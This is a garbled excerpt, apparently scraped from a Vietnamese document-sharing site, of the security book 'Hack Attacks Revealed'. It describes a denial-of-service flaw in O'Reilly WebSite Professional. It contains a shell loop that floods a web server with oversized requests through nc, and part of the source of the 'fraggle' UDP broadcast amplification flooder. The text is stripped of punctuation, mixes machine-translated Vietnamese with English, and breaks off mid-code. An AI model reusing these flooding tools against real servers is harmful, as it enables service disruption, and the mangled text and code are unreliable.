tailieunhanh - Hack Attacks Revealed A Complete Reference with Custom Security Hacking Toolkit phần 7

cộng với kịch bản tiêu chuẩn, bộ phần mềm này là chưa từng có trong dễ sử dụng và lập trình. vớiHình 9,10 WebSite quản lý chuyên nghiệp. sản phẩm này, trung bình tân đảng viên có thể chế tạo một cấu hình máy chủ Web tiêu chuẩn trong vài phải trả | DUZOA perl -e print A x4093 MAX 30 while do ILE 0 while ILE -lt MAX do echo GET echo DUZOA echo nc SERVER PORT sleep WAIT kill -9 dev null ILE ILE 1 done sleep WAIT done O Reilly WebSite Professional Rated as one of the fastest-growing personal and corporate Internet server daemons WebSite Professional http is among the most robust Web servers on the market see Figure . With custom CGI and Perl support plus VBScript JavaScript Python and Microsoft ASPA scripting standardization this suite is unmatched in ease of use and programmability. With 485 Figure WebSite Professional administration. this product an average neophyte could fabricate a standard Web server configuration in minutes. Liabilities Denial-of-Service Attack Synopsis WebSite Professional is vulnerable to a DoS attack that can cause immediate CPU congestion resulting in service encumbrance. Hack State Severe congestion. Vulnerabilities All revisions. 486 Breach This DoS penetration attack causes an immediate jump to 100 percent system CPU utilization. Multiple DoS attacks cause sustained CPU congestion from 68 to 85 percent and up to 100 percent if simultaneously flooded with HTTP requests. struct pktinfo int ps int src int dst void fraggle int struct sockaddr_in u_long dest struct pktinf o void sigint int unsigned short checksum u_short int int main int argc char argv struct sockaddr_in sin struct hostent he struct pktinfo p int s num delay n cycle char bcast malloc 1024 buf 32 FILE bfile banner fprintf stderr by TFreak n n capture ctrl-c signal SIGINT sigint check for enough cmdline args if argc 5 fprintf stderr usage s dstport srcport psize n n target t t address to hit n bcast file t file containing broadcast add rs n num packets t send n packets n 0 is consta nt n packet delay t usleep between packets in m s n dstport t t port to hit default 7 n srcport t t source port 0 for random n ps t t packet size n n argv 0 exit -1 get port info if .